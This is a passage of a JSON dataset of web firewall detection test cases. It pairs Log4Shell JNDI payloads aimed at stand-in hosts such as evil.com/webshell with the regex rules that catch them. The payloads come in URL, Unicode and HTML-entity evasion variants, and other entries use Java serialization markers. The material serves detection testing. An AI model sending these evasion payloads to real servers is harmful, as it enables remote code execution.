"(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with named HTML entity evasion, lower case" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$&LBRACE;jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with named HTML entity evasion, upper case" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"${jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with numeric HTML entity evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24%5Cu007Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with Unicode escape evasion, wrapped in URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"\\u002524%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with URL encoding evasion, wrapped in Unicode escape evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24\\u007Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with URL encoding evasion, mixed with Unicode escape evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24%26lbrace%3Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with named HTML entity evasion wrapped in URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%26%2336%3B%7Bjndi%3Aldap%3A%2F%2Fevil.com%2Fwebshell%7D\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with numeric HTML entity evasion wrapped in URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u0026lbrace;jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with named HTML entity evasion, wrapped in Unicode escape evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u0026#123;jndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with numeric HTML entity evasion, wrapped in Unicode escape evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"%24{\\u006Andi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with named and numeric HTML entity evasion, mixed with unicode escape evasion and URL encoding evasion" } }, { "input": { "malicious_payload": [ { "location": "header_user-agent", "value": "${jndi:ldap://evil.om/w}" } ], "attack_context": { "method": "GET", "location": [ "header_user-agent" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on User-Agent header which is known to work against org.apache.commons:commons-text:1.9" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"foo\": \"$\\u0026lbracejndi:ldap://evil.com/webshell}\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on JSON with named HTML entity evasion, wrapped in Unicode escape evasion, omitting terminal semi-colon" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "foo=$${env:somethingveryverylong:-${env:something:-$}{jndi:ldap://evilhost.com/webshell}}}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_LINE", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]*(?:\\$|$?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "jsDecode", "htmlEntityDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944151", "test_description": "Log4J exploit on arg foo, with evasion" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=rO0ABQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Argument test includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "rO0ABQ=test" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Argument name includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Cookie test includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Cookie name includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=value" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Request header test includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><rO0ABQ attribute_name=\"attribute_value\">value</rO0ABQ></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "XML element includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element rO0ABQ=\"attribute_value\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "XML attribute name includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"rO0ABQ\">element_value</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "XML attribute value includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">rO0ABQ</element></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "XML element value includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "<?xml version=\"1.0\"?><xml><l1><l2><l3><element attribute_name=\"attribute_value\">rO0ABQ</element></l3></l2></l1></xml>" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Nested XML element value includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "test=rO0ABQ" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type text/plain includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"test\": \"rO0ABQ\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type application/json arg value includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "{\"rO0ABQ\": \"test\"}" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type application/json arg name includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"rO0ABQ\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type multipart/form-data json arg name includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/json\n\n{\"rO0ABQ\": \"test\"}\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?:rO0ABQ|KztAAU|Cs7QAF)", "negated": false } }, "transformations": [], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "944210", "test_description": "Content-Type multipart/form-data json arg value includes keyword rO0ABQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-----------------------------thisissparta\nContent-Disposition: form-data; name=\"payload\"\nContent-Type: application/xml\n\n<?xml version=\"1.0\"?><xml><element attribute_name=\"attribute_value\">rO0ABQ</element></xml>\n-----------------------------thisissparta--\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_BODY", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false }, { "name": "XML", "part": "//@*", "negated": false } ], "operator": { "type": "@rx", "argument": 